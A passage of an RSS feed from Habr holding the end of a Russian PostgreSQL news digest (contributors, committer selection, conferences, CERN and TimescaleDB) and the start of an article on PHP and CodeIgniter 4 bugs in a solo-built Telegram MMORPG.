href=https://github.com/cybertec-postgresql&gt;Cybertec&lt;/a&gt;).&lt;p&gt;И мы говорили здесь о &lt;em&gt;хороших&lt;/em&gt; ИИ-хакерах. А сколько на 1 хорошего приходится нехороших? Лучше об этом не думать.&lt;p&gt;В России эту тему тоже считают важной и актуальной. Tadviser, например, звал всех на семинар 8 июня 11:00: &lt;a href=https://www.tadviser.ru/index.php/%D0%9D%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8:AI-SAST_%D0%BA%D0%B0%D0%BA_%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BB%D0%BE%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0_%D0%BA%D0%BE%D0%B4%D0%B0:_%D0%B3%D0%B4%D0%B5_%D0%B7%D0%B0%D0%BA%D0%B0%D0%BD%D1%87%D0%B8%D0%B2%D0%B0%D1%8E%D1%82%D1%81%D1%8F_%D0%BF%D0%B0%D1%82%D1%82%D0%B5%D1%80%D0%BD%D1%8B_%D0%B8_%D0%BD%D0%B0%D1%87%D0%B8%D0%BD%D0%B0%D0%B5%D1%82%D1%81%D1%8F_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BA%D1%81%D1%82&gt;AI-SAST как новый слой анализа кода: где заканчиваются паттерны и начинается контекст&lt;/a&gt;. SAST это и есть &lt;a href=https://en.wikipedia.org/wiki/Static_application_security_testing&gt;Static Application Security Testing&lt;/a&gt;. На семинаре &lt;em&gt;Антон Михайлов&lt;/em&gt;, директор по развитию группы продуктов SASTAV и &lt;em&gt;Александр Заргаров&lt;/em&gt;, лидер технического контура безопасной разработки SASTAV рассказывали:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Почему классический SAST остаётся фундаментом анализа и зачем вообще сохранять детерминированный движок.&lt;li&gt;&lt;p&gt;Где начинается «зона семантики»: почему IDOR (&lt;a href=https://en.wikipedia.org/wiki/Insecure_direct_object_reference&gt;Insecure Direct Object Reference&lt;/a&gt;) нельзя найти простым поиском ID в URL.&lt;li&gt;&lt;p&gt;Почему нельзя просто заменить SAST LLM-моделью (и что сломалось бы в вашем Security Gate).&lt;li&gt;&lt;p&gt;Как работает гибридный подход.&lt;li&gt;&lt;p&gt;Как переход от «напиши правило» к «опиши риск» на естественном языке снижает порог кастомизации.&lt;li&gt;&lt;p&gt;В каких случаях AI-SAST не нужен (и почему массовые проверки лучше оставить классике).&lt;/ul&gt;&lt;p&gt;Ладно. Добро в конце концов победит зло, вот и дыры в 18.4 закрыли (кстати, &lt;a href=https://postgrespro.ru/docs/postgresql/18/release-18-4&gt;русская документация&lt;/a&gt;), а недавно вышла и &lt;a href=https://postgrespro.ru/docs/postgrespro/18/release-pro-18-4-1&gt;&lt;strong&gt;Postgres Pro Standard 18.4.1&lt;/strong&gt;&lt;/a&gt;. Enterprise выйдет попозже.&lt;h2&gt;Минорный релиз. Кто.&lt;/h2&gt;&lt;p&gt;&lt;a href=https://www.cnews.ru/news/line/2026-05-27_kazhdyj_11-j_uchastnik_razrabotki&gt;&lt;strong&gt;Каждый 11-й участник разработки PostgreSQL 18 - сотрудник Postgres Professional&lt;/strong&gt;&lt;/a&gt; - пишет &lt;a href=https://www.cnews.ru/news/line/2026-05-27_kazhdyj_11-j_uchastnik_razrabotki&gt;CNews&lt;/a&gt;. А конкретно - 43 разработчика из примерно полутыщи тех, кого &lt;a href=https://www.postgresql.org/docs/18/release-18.html#RELEASE-18-ACKNOWLEDGEMENTS&gt;благодарят&lt;/a&gt; за выпуск &lt;a href=https://www.cnews.ru/book/PostgreSQL_-_%D1%81%D0%B2%D0%BE%D0%B1%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D1%80%D0%B5%D0%BB%D1%8F%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%A1%D0%A3%D0%91%D0%94&gt;PostgreSQL&lt;/a&gt;. Как подсчитали - очень просто. В компании подсчитали переданные сообществом &lt;em&gt;медали&lt;/em&gt; (есть такая славная традиция).&lt;p&gt;Разработчики из Postgres Professional не одиноки в улучшайзинге PostgreSQL. Российские компании подтягиваются, прибавляют. Это заметно не столько по acknowledgements, сколько по переписке в hackers. Ещё недавно за Яндекс-облако отдувался многорукий &lt;em&gt;Андрей Бородин&lt;/em&gt; (Andrey Borodin ), а за Тантор Лабс &lt;em&gt;Илья Евдокимов &lt;/em&gt;(Ilia Evdokimov), а сейчас у них уже небольшие (до полудюжины), команды. Иногда промелькнут и почтовые адреса Сбертех или FTData, или вдруг &lt;a href=https://www.rutoken.ru/&gt;РуТокен&lt;/a&gt; мелькнёт. Но, возможно, их больше, так как я сужу в основном просто по адресам, а у многих разрабов адреса не корпоративные.&lt;p&gt;Это поле деятельности - удивительное. Коллеги встречаются с бывшими коллегами, конкуренты не то, что доброкачественно конкурируют, они (пока) не конкурируют вообще - все просто делают общее дело (во всяком случае &amp;#34;я так вижу&amp;#34;). Возможно, скоро об этом будут вспоминать как о &lt;em&gt;золотых временах &lt;/em&gt;и&lt;em&gt; маленьком социальном рае. &lt;/em&gt;Возможно, компании далеки от критической массы, от порога радикального влияния. Мы помним, как жёстко покойный &lt;em&gt;Саймон Риггс&lt;/em&gt; (Simon Riggs) продвигал MERGE, в котором был корпоративно заинтересован 2nd Quadrant, тоже, можно сказать, покойный (см. &lt;a href=https://habr.com/ru/companies/postgrespro/articles/412605/&gt;&lt;strong&gt;Битва при MERGE. Хроника с выводами и моралью&lt;/strong&gt;&lt;/a&gt;).&lt;p&gt;Вообще есть такая страничка: &lt;a href=https://theconsensus.dev/about.html&gt;&lt;strong&gt;Companies behind Postgres 18 development&lt;/strong&gt;&lt;/a&gt; на ресурсе &lt;a href=https://theconsensus.dev/p/2026/02/02/companies-behind-postgres-18.html&gt;The Consensus&lt;/a&gt;. Проект &lt;em&gt;Фила Итона&lt;/em&gt; (&lt;a href=&#34;https://eatonphil.com/?from_theconsensus=1&#34;&gt;Phil Eaton&lt;/a&gt;), стартовал в этом году. И там мы видим, что в списке ведущих постгресовых компаний Postgres Professional уже не единственная российская: её поддержал Yandex.&lt;p&gt;Ну а &lt;em&gt;Томаш Вондра&lt;/em&gt; (Tomas Vondra) доходчиво объясняет, как устроена кухня коммитфестов:&lt;p&gt;&lt;a href=https://vondra.me/posts/how-are-committers-selected/&gt;&lt;strong&gt;How Are Committers Selected?&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;&lt;em&gt;Томаш говорит &lt;/em&gt;о демократизации процесса выбора новых и отставки старых. Раньше этим занималась &lt;a href=https://www.postgresql.org/developer/core/&gt;core team&lt;/a&gt; - горстка бояр, теперь - мини-сообещество коммитеров, служилое дворянство (простите за отсебятину). Коммитеров около 30. Но в любом случае это неформальные процессы, нигде жёстко не прописанные. Происходит всё примерно так&lt;strong&gt;:&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Февраль–март: &lt;/em&gt;кто-то из коммитеров начинает обсуждение в закрытой рассылке.&lt;li&gt;&lt;p&gt;&lt;em&gt;Номинация: &lt;/em&gt;участники предлагают кандидатов, делятся опытом сотрудничества.&lt;li&gt;&lt;p&gt;&lt;em&gt;Обсуждение: &lt;/em&gt;аргументы за/против, оценка готовности.&lt;li&gt;&lt;p&gt;&lt;em&gt;Решение: &lt;/em&gt;достижение консенсуса, передача списка Core Team.&lt;li&gt;&lt;p&gt;&lt;em&gt;Приглашение: &lt;/em&gt;кандидат получает «commit bit» и доступ к закрытым ресурсам.&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Что даёт статус коммитера:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Доступ на push в основной git-репозиторий&lt;li&gt;&lt;p&gt;Участие в закрытой рассылке (организационные вопросы)&lt;li&gt;&lt;p&gt;Доступ к внутренним инструментам&lt;li&gt;&lt;p&gt;Но, ещё раз: никаких «секретных каналов» для технических решений нет - всё обсуждается публично на &lt;code&gt;pgsql-hackers&lt;/code&gt;.&lt;/ul&gt;&lt;h2&gt;Разное&lt;/h2&gt;&lt;p&gt;&lt;a href=https://vyruss.org/blog/inaugural-postgresql-edinburgh-meetup.html&gt;&lt;strong&gt;Новости vyruss.org&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Это блог &lt;em&gt;Джимми Энджелейкоса &lt;/em&gt;(Jimmy Angelakos), автор книги/курса &lt;a href=https://www.amazon.com/PostgreSQL-Mistakes-How-Avoid-Them/dp/163343687X&gt;PostgreSQL Mistakes and How to Avoid Them&lt;/a&gt;, где он систематизирует типичные проблемы в схемах, типах данных, безопасности и HA, даёт практичные рекомендации. В списке &lt;a href=https://www.postgresql.org/community/contributors/&gt;PostgreSQL: Contributor Profiles&lt;/a&gt; у него титул Significant Contributor.&lt;p&gt;Конечно, обладатель такой фамилии общается с греческими юниксоидами - с &lt;a href=https://www.hellug.gr/&gt;Αρχική Σελίδα | HELLUG&lt;/a&gt;. Конечно, russ к России отношения не имеет, ник, видимо, происходит от слова &amp;#34;вирус&amp;#34;, где игрек некоторый греческий. Конечно, пишет он больше всего о собственных разработках - их есть у него: &lt;a href=https://vyruss.org/blog/pg_statviz-1-0-released-ai-analysis.html&gt;pg_statviz 1.0 released with AI-powered analysis&lt;/a&gt;.&lt;p&gt;Любит ездить по конференциям. Пишет любопытное о лоуландцах: &lt;a href=https://vyruss.org/blog/pgday-lowlands-2025-postgres-next-level.html&gt;PGDay Lowlands 2025 and Getting Postgres to the Next Level&lt;/a&gt; - прошла &lt;em&gt;в&lt;/em&gt; Роттердамском &lt;em&gt;зоопарке&lt;/em&gt; 12 сентября прошлого года. Докладчики докладывали морским черепахам, пингвинам и другой морской живности.&lt;p&gt;Но живёт он отнюдь не в средиземноморье. Живёт он рядом с хайландцами - в Эдинборо. Там, оказывается, тоже проходят Postgres-конференции и митапы:&lt;p&gt;&lt;a href=https://vyruss.org/blog/inaugural-postgresql-edinburgh-meetup.html&gt;Announcing the inaugural PostgreSQL Edinburgh meetup&lt;/a&gt; или&lt;p&gt;&lt;a href=https://vyruss.org/blog/postgresedi-april-2026-meetup-and-may-lightning-talks.html&gt;PostgresEDI April 2026 Meetup Recap &amp;amp; May Lightning Talks&lt;/a&gt;.&lt;p&gt;и вот: &lt;a href=https://luma.com/PostgresEDI&gt;PostgresEDI · Календарь событий&lt;/a&gt;. Он же сам и организатор - их трое: ещё один &lt;em&gt;Джим&lt;/em&gt;:&lt;em&gt; Гарднер&lt;/em&gt; (Jim Gardner) и &lt;em&gt;Денис Рыбальченко&lt;/em&gt; (Denys Rybalchenko). А спонсор - pgEdge.&lt;p&gt;Фокус моего внимания не случаен, но и не объективен: я просто влюблён в этот город из серого камня - строгий и совсем нестрогий одновременно. Это один из красивейших городов мира на мой вкус (может, прекрасней был &lt;a href=https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BA%D0%BE%D1%80-%D0%A2%D1%85%D0%BE%D0%BC#/media/%D0%A4%D0%B0%D0%B9%D0%BB:Angkor_Thom_3.jpg&gt;Ангкор&lt;/a&gt;, но он давно зарос джунглями).&lt;p&gt;&lt;a href=https://pgconf.ru/161126&gt;&lt;strong&gt;PGConf.Академия 2026&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Пройдет 16 ноября, на этот раз не посреди тех-пустыря у Раменок, а в Центре Культур ВШЭ (Москва, Покровский бульвар, д. 11, стр. 6.). Организаторы - Postgres Professional и ФКН НИУ ВШЭ. Всё вокруг ИТ-образования: для преподавателей, методистов и экспертов из вузов, колледжей и профильных компаний. Для преподавателей (в т.ч. специализированных учебных центров) и сотрудников администраций вузов и колледжей - &lt;em&gt;бесплатное.&lt;/em&gt;&lt;strong&gt; &lt;/strong&gt;Для других категорий - платное.&lt;p&gt;Открыта регистрация, онлайн-формат участия тоже есть. Участникам конференции советуют дождаться подтверждения от организаторов по электронной почте.&lt;p&gt;&lt;a href=https://www.hpcwire.com/bigdatawire/2026/04/14/the-rise-of-experimental-data-lakes/&gt;&lt;strong&gt;The Rise of Experimental Data Lakes&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Это не экспериментальные озёра данных, а озёра экспериментальных данных - если кто-то путает. Речь о научных данных. Которые теперь тоже решили заливать в озёра, а не пытаться собрать в одном водохранилище данных. Пишет &lt;em&gt;Али Азхар&lt;/em&gt; (&lt;a href=https://www.hpcwire.com/author/alitaborcommunications-com/&gt;Ali Azhar&lt;/a&gt;).&lt;p&gt;&lt;a href=https://www.tigerdata.com/events/webinar-cern-2026&gt;&lt;strong&gt;How CERN Powers Ground-Breaking Physics with TimescaleDB&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Tiger Data хвастается, и есть чем. Компании любят сотрудничать с ЦЕРНом, это престижно. Вот и Tiger Data устраивают совместный семинар с церновскими физиками:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Рафаль Кулага&lt;/em&gt; (Rafal Kulaga, айтишник, CERN,&lt;li&gt;&lt;p&gt;&lt;em&gt;Мартин Земко &lt;/em&gt;(Martin Zemko, айтишник, CERN,&lt;li&gt;&lt;p&gt;&lt;em&gt;Брендон Пёрсел&lt;/em&gt; (Brandon Purcell), директор по продуктам, Tiger Data.&lt;/ul&gt;&lt;p&gt;На этом примерно часовом вебинаре инженеры ЦЕРН расскажут, как они модернизировали свою устаревшую систему архивирования с помощью NextGen Archiver (NGA) и TimescaleDB (на базе PostgreSQL), чтобы повысить производительность, снизить затраты на хранение и упростить долгосрочную эксплуатацию. А именно:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Построили модульную архитектуру архивирования (NGA)&lt;/em&gt; для модернизации устаревшего стека.&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Сократили объём хранения до 95%&lt;/em&gt; и ускорил аналитику по историческим данным до 40%, используя гибридную строково-колоночную (rowstore/columnstore) архитектуру TimescaleDB.&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;em&gt;Использовали непрерывные агрегаты&lt;/em&gt; (автоматически обновляемые материализованные представления) для создания быстрых дашбордов по огромным массивам исторических данных.&lt;li&gt;&lt;p&gt;&lt;em&gt;Обеспечили работу со сложными метаданными&lt;/em&gt;, экономящими время, объединив реляционные данные и временные ряды в единой системе.&lt;li&gt;&lt;p&gt;&lt;em&gt;Спроектировали решение с учётом сопровождаемости и гибкости&lt;/em&gt;, снизив зависимость от вендора и технический долг.&lt;/ul&gt;&lt;p&gt;Хранилища - S3. По теме Workflow engines будут фигурировать Airflow, Nextflow и Snakemake.&lt;p&gt;В ЦЕРНе 800 с лишним SCADA (Supervisory Control And Data Acquisition = управление технологическим процессом и сбор данных) на базе сименсовских WinCC OA (&lt;a href=https://www.siemens.com/en-us/products/scada/wincc-open-architecture/&gt;SIMATIC WinCC Open Architecture&lt;/a&gt;). Системы Большого Адронного Коллайдера генерят сотни тысяч гигабайт данных в день. И эти данные существенно привязаны ко времени события.&lt;p&gt;Что за WinCC OA, с чем едят? &lt;a href=https://habr.com/ru/users/akcount/&gt;Alexander Kuznetsov aka akcoun&lt;/a&gt; представляется в хабре как &lt;a href=https://habr.com/ru/users/akcount/&gt;специалист по АСУ ТП&lt;/a&gt; - аббревиатура, которую подзабыли. Он предупреждает: &lt;em&gt;в ряде моментов WinCC OA радикально отличается от обычных распространенных SCADA&lt;/em&gt;.&lt;p&gt;&lt;a href=https://2026.pgday.ch/&gt;&lt;strong&gt;Swiss PGDay 2026&lt;/strong&gt;&lt;/a&gt;&lt;p&gt;Пройдёт 25-26 июня в Рапперсвиле (&lt;a href=https://en.wikipedia.org/wiki/Rapperswil&gt;Rapperswil&lt;/a&gt;). Это отнюдь не ЦЕРНовская тусовка, это немецкая Швейцария, недалеко от Цюриха, на берегу Цюрихского, а не Женевского озера. Устраивают конференцию прикладники: OST Eastern Switzerland University of Applied Sciences. Но в оргкомитете на самом &lt;a href=https://2026.pgday.ch/organisation/&gt;почётном месте&lt;/a&gt; человек академический - &lt;em&gt;Тобиас Буссман&lt;/em&gt; (Tobias Bussmann, Swiss Academy of Sciences, Bern).&lt;p&gt;&lt;a href=https://chislitellab.ru/grafinya&gt;&lt;strong&gt;Графиня&lt;/strong&gt;&lt;/a&gt; (обещанная в 1-й половине обзора)&lt;p&gt;&lt;a href=https://chislitellab.ru/grafinya&gt;визуализация, мониторинг и анализ данных&lt;/a&gt;&lt;p&gt;Российские разработчики (компания «Лаборатория Числитель») создали аналог Grafana под названием &lt;a href=&#34;https://ext.enkod.ru/v11/click/cNJdh5hMWU5MjoyMjUwOjI6MTNhZGJkOjA6MDo1NTkwMTZmMi04OTFkLTQ0NWYtODIzYS1iNTc5OTZjYjhhMzY=?c=dGltZXBhZA%3D%3D&#34;&gt;Графиня&lt;/a&gt;. И это не шильдик, - говорят они, - и не форк: решение вообще не использует код Grafana. Графиня предлагает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Стабильные обновления, которые не ломают дашборды.&lt;li&gt;&lt;p&gt;Упрощенную разработку плагинов.&lt;li&gt;&lt;p&gt;Многоуровневое кэширование.&lt;li&gt;&lt;p&gt;Универсальные API-контракты.&lt;li&gt;&lt;p&gt;Улучшенные функции администрирования и безопасности.&lt;/ul&gt;&lt;hr&gt;&lt;p&gt;&lt;em&gt;На этом пока всё.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/postgrespro/articles/1027904/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1027904</guid>
      <pubDate>Wed, 10 Jun 2026 20:54:43 +0000</pubDate>
    </item>
    <item>
      <title>Два года один пилю MMORPG на CI4: пять багов, за каждым из которых стоял живой игрок</title>
      <link>https://habr.com/ru/articles/1046251/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046251</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr//post_images/10d/78a/53a/10d78a53a9c083d56263f0022c43d5de.jpg alt=&#34;Выживший один у пыльного терминала в ночном бункере&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/10d/78a/53a/10d78a53a9c083d56263f0022c43d5de.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/10d/78a/53a/10d78a53a9c083d56263f0022c43d5de.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Выживший один у пыльного терминала в ночном бункере&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Два года я в одиночку пилю текстовую MMORPG в Telegram. И знаете, что в этом самое странное? Мир там живёт без меня.&lt;p&gt;Раз в минуту просыпается крон — и это сердцебиение целой планеты. Пока я сплю, у кого-то достраивается база, списывается налог, бродят NPC, идут бои. К утру &lt;strong&gt;485&lt;/strong&gt; выживших разбрелись по карте в &lt;strong&gt;1 000 000&lt;/strong&gt; клеток, между ними отгремело часть из &lt;strong&gt;45 296&lt;/strong&gt; боёв, а где-то новичок впервые поставил палатку и не понял, что делать дальше. Я просыпаюсь и читаю логи, как сводку с фронта войны, которую сам же и развязал.&lt;p&gt;Под капотом — CodeIgniter 4 и &lt;strong&gt;~152 000 строк&lt;/strong&gt; кода, написанных одним человеком по ночам. CRUD-туториалы про CI4 («сделай блог за вечер») такое не показывают. А живой мир показывает: грабли PHP и фреймворка вылезают не на хелло-ворлде, а когда по ту сторону экрана сидит реальный человек и делает то, чего ты не предусмотрел.&lt;p&gt;Вот пять, на которые я наступил по-настоящему. И за каждой — не абстрактный баг, а чей-то испорченный вечер. Иногда — мой.&lt;hr&gt;&lt;h3&gt;Грабля 1. Рубильник, который не выключался: ((bool)&amp;#34;false&amp;#34;) === true&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr//post_images/fba/811/21d/fba81121df19a245fc443ff133b8abb8.jpg alt=&#34;Рубильник опущен в положение «выкл», а лампочка над ним всё равно горит&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/fba/811/21d/fba81121df19a245fc443ff133b8abb8.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/fba/811/21d/fba81121df19a245fc443ff133b8abb8.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рубильник опущен в положение «выкл», а лампочка над ним всё равно горит&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;У соло-разработчика нет QA, нет стейджинга с реальными игроками и нет ночного дежурного. Поэтому первое, что я построил, — рубильники. 486 настроек в админке, и у каждой опасной фичи свой killswitch: если в проде что-то пойдёт не так на глазах у живых выживших, я щёлкну &lt;code&gt;false&lt;/code&gt;, и фича уснёт, не успев испортить людям вечер. Это мой спасательный круг. Сплю спокойнее.&lt;p&gt;И вот включаю новую механику, всё работает. Решаю на ночь выключить — щёлкаю &lt;code&gt;false&lt;/code&gt;, сохраняю. А она не выключается. В базе по-прежнему &lt;code&gt;1&lt;/code&gt;.&lt;p&gt;Щёлкаю ещё раз. &lt;code&gt;1&lt;/code&gt;. Ещё. &lt;code&gt;1&lt;/code&gt;. В этот момент понимаешь две вещи: спасательный круг, который ты так гордо себе сшил, дырявый — и винить, кроме себя, некого. &lt;code&gt;git blame&lt;/code&gt; показывает меня.&lt;details class=spoiler&gt;&lt;summary&gt;Код (было)&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=php&gt;// value приходит из POST-формы админки строкой: &amp;#34;true&amp;#34; / &amp;#34;false&amp;#34;&#xA;case &amp;#39;bool&amp;#39;:&#xA;    $update[&amp;#39;value_bool&amp;#39;] = ((bool) $value) ? 1 : 0;&#xA;    break;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;Виноват тут не CI4, а сам PHP и моя самоуверенность. К &lt;code&gt;false&lt;/code&gt; в PHP приводятся только пустая строка &lt;code&gt;&amp;#34;&amp;#34;&lt;/code&gt; и строка &lt;code&gt;&amp;#34;0&amp;#34;&lt;/code&gt; (см. мануал, «Converting to boolean»). Всё остальное — &lt;code&gt;true&lt;/code&gt;. А &lt;code&gt;&amp;#34;false&amp;#34;&lt;/code&gt; — непустая строка, не равная &lt;code&gt;&amp;#34;0&amp;#34;&lt;/code&gt;. Значит &lt;code&gt;true&lt;/code&gt;. Значит &lt;code&gt;1&lt;/code&gt;.&lt;p&gt;То есть рубильник исправно &lt;strong&gt;включал&lt;/strong&gt; свет (&lt;code&gt;&amp;#34;true&amp;#34;&lt;/code&gt; → true → 1), а вот &lt;strong&gt;выключить&lt;/strong&gt; им было нельзя в принципе: &lt;code&gt;&amp;#34;false&amp;#34;&lt;/code&gt; тоже давал &lt;code&gt;1&lt;/code&gt;. Полгода. Полгода у меня в проде висел выключатель, как в плохой съёмной квартире, — щёлкает, а свет горит. Спасало только то, что выключал я редко и обычно через соседнюю кнопку «Сброс к умолчанию», которая шла другим путём.&lt;details class=spoiler&gt;&lt;summary&gt;Код (стало)&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=php&gt;case &amp;#39;bool&amp;#39;:&#xA;    // &amp;#34;true&amp;#34;/&amp;#34;1&amp;#34;/&amp;#34;on&amp;#34;/&amp;#34;yes&amp;#34; → 1,  &amp;#34;false&amp;#34;/&amp;#34;0&amp;#34;/&amp;#34;off&amp;#34;/&amp;#34;&amp;#34; → 0&#xA;    $update[&amp;#39;value_bool&amp;#39;] = filter_var($value, FILTER_VALIDATE_BOOLEAN) ? 1 : 0;&#xA;    break;&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;&lt;strong&gt;Урок:&lt;/strong&gt; &lt;code&gt;(bool)$строка&lt;/code&gt; для значений из форм — почти всегда баг. Любой ввод, где &lt;code&gt;&amp;#34;false&amp;#34;&lt;/code&gt;, &lt;code&gt;&amp;#34;0&amp;#34;&lt;/code&gt; или &lt;code&gt;&amp;#34;no&amp;#34;&lt;/code&gt; значат «нет», гони через &lt;code&gt;filter_var($v, FILTER_VALIDATE_BOOLEAN)&lt;/code&gt;. А проверку я, каюсь, сделал прямо в проде: щёлкнул в &lt;code&gt;false&lt;/code&gt;, заглянул в базу — и впервые за полгода увидел там честный &lt;code&gt;0&lt;/code&gt;. Маленькая, глупая, но настоящая радость в три часа ночи.&lt;hr&gt;&lt;h3&gt;Грабля 2. CI4 проглотил награду за верность: DataException: no data to update&lt;/h3&gt;&lt;figure&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr//post_images/f67/a2e/c53/f67a2ec53c11e5e4676b380870194508.jpg alt=&#34;Монета опускается в щель ящика, а лоток на выходе пуст&#34; sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr//post_images/f67/a2e/c53/f67a2ec53c11e5e4676b380870194508.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr//post_images/f67/a2e/c53/f67a2ec53c11e5e4676b380870194508.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Монета опускается в щель ящика, а лоток на выходе пуст&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Я делал стрики — награду за то, что человек возвращается. Мир суровый: голод, рейдеры, ночные вылазки. И мне хотелось, чтобы за каждый день, что выживший заходит, ему капало хоть немного добра. Маленький жест «спасибо, что не бросил».&lt;p&gt;Добавляю в таблицу колонку &lt;code&gt;login_streak&lt;/code&gt;, пишу первое в жизни сохранение этой серии:&lt;pre&gt;&lt;code class=php&gt;$characterModel-&amp;gt;update($id, [&amp;#39;login_streak&amp;#39; =&amp;gt; 5]);&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;И ловлю в ответ:&lt;pre&gt;&lt;code&gt;DataException: There is no data to update.&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;«Нет данных»? Я же передал массив с пятёркой! Есть в этом что-то обидное: ты пишешь код, который буквально благодарит игрока за верность, а фреймворк отвечает «никаких данных нет». Как будто не заметил, что человек вообще приходил.&lt;p&gt;А дело в &lt;code&gt;$allowedFields&lt;/code&gt; — белом списке полей, которые CI4-модель разрешает массово писать. Новой колонки в списке нет → модель молча выкидывает её из набора. Передал одно поле, после фильтрации не осталось ни одного — «нет данных».&lt;details class=spoiler&gt;&lt;summary&gt;Фикс&lt;/summary&gt;&lt;div class=spoiler__content&gt;&lt;pre&gt;&lt;code class=php&gt;protected $allowedFields = [&#xA;    &amp;#39;name&amp;#39;, &amp;#39;level&amp;#39;, &amp;#39;gold&amp;#39;, /* ... */&#xA;    &amp;#39;login_streak&amp;#39;,           // ← забудешь добавить = поле молча исчезнет&#xA;    &amp;#39;login_streak_last_day&amp;#39;,&#xA;];&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&lt;p&gt;И самое противное — оно молчит. Не «поле не разрешено», не warning. Просто фильтрует в пустоту. У меня этот путь был покрыт юнит-тестом на сервис-слое, где модель замокана, поэтому фильтрация &lt;code&gt;$allowedFields&lt;/code&gt; там и не отрабатывала. Ловит такое только интеграционный тест с живой БД либо первый же апдейт в проде. Наступил я на это, кстати, дважды — второй раз со стыдом, потому что уже знал.&lt;p&gt;&lt;strong&gt;Урок:&lt;/strong&gt; добавил колонку — сразу в &lt;code&gt;$allowedFields&lt;/code&gt;. Я завёл железную привычку: миграция и правка &lt;code&gt;$allowedFields&lt;/code&gt; идут одним коммитом. Иначе через неделю забудешь, что они вообще связаны.&lt;hr&gt;&lt;h3&gt;Грабля 3. Один типос — и первый шаг новичка взрывается: ENUM + STRICT-режим MySQL&lt;/h3&gt;&lt;figure&gt;&lt;img 